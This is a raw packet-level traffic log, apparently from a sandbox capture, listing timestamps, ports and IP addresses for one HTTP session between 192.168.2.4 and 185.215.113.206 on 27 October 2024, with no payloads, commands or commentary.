Oct 27, 2024 12:13:23.885190964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885205030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885242939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885258913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885304928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885315895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885325909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885349989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885387897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885421038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885432959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885442972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885461092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885484934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885624886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885677099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885678053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885689974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885713100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885723114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.885741949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885772943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.885947943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886001110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.886089087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886101961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886112928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886123896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886135101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886138916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.886147022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886158943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886171103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886172056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.886220932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.886498928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886517048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886528969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886559963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.886578083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.886585951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886600971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.886631012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.886663914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.931185961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931229115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931240082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.931240082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931282997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.931307077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931322098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931333065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931346893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.931384087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.931454897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931467056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931478024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931488991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:23.931493044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:23.931540012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.003969908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.003988028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004007101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004018068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004029989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004040956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004056931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004105091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004121065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004132032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004142046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004153967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004162073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004167080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004185915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004192114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004209995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004232883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004421949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004426956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004437923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004448891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004460096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004472017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004501104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004575968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004587889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004628897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004643917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004656076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004667044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004678011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004692078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004719973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004901886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004913092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004925966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004926920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004937887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.004945993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004977942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004988909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.004996061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005008936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005018950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005031109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005040884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005043030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005053997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005074024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005106926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005321980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005368948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005381107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005384922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005422115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005507946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005518913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005528927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005542040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005549908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005594015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005594015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005695105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005706072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005719900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005731106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.005767107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005767107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.005784035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.042525053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.042546988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.042557955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.042597055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.042635918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.048609972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048629999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048683882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048696041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048713923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.048747063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048759937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048767090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.048793077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.048829079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.048835993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048858881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048871040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.048880100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.049124002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.049124002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121076107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121093988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121104956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121143103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121171951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121201038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121212006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121246099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121249914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121293068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121330023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121340036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121349096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121359110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121373892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121414900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121454000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121500015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121501923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121512890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121550083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121558905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121598959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121608973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121618986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121651888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121670961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121716022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121747971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121763945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121798992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121815920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121835947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121845961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121855021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.121881962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121917963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.121977091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122031927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122061014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122072935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122114897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122154951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122167110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122175932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122185946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122209072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122234106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122272015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122309923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122384071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122441053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122448921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122458935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122500896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122533083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122546911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122556925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122577906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122617960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122708082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122760057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122769117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122771978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122798920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122821093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.122914076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122925043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122932911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122944117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.122967005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.123008013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.123034954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123047113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123075008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.123111963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.123115063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123126030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123135090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123152018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.123179913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.123378992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123418093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123426914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.123444080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.123475075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.159816027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.159836054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.159848928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.159874916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.159900904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.165491104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165502071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165513039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165553093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.165590048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.165656090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165672064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165682077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165719032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.165745974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.165761948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165772915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165782928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.165812016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.165838003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239093065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239114046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239124060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239181995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239193916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239197969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239206076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239254951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239286900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239362955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239375114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239384890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239394903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239406109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239411116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239418983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239448071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239491940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239630938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239643097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239653111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239665985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239677906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239677906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239694118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239726067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239748001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239939928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239958048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239968061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239979029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.239984989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.239990950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240003109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240009069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240015984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240062952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240088940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240132093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240216970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240228891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240240097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240251064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240262032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240262032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240276098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240291119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240329981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240483046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240494013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240504026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240515947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240526915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240528107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240540981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240560055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240586996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240803957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240816116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240844011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240884066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240948915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240962029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240972042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240983009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.240993023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.240993977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.241007090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.241018057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.241028070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.241031885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.241040945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.241060972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.241091967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.241267920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.241327047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.277096033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.277163982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.277260065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.277314901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.277333975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.277343988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.277379990 CET	49730	80	192.168.2.4	185.215.113.206
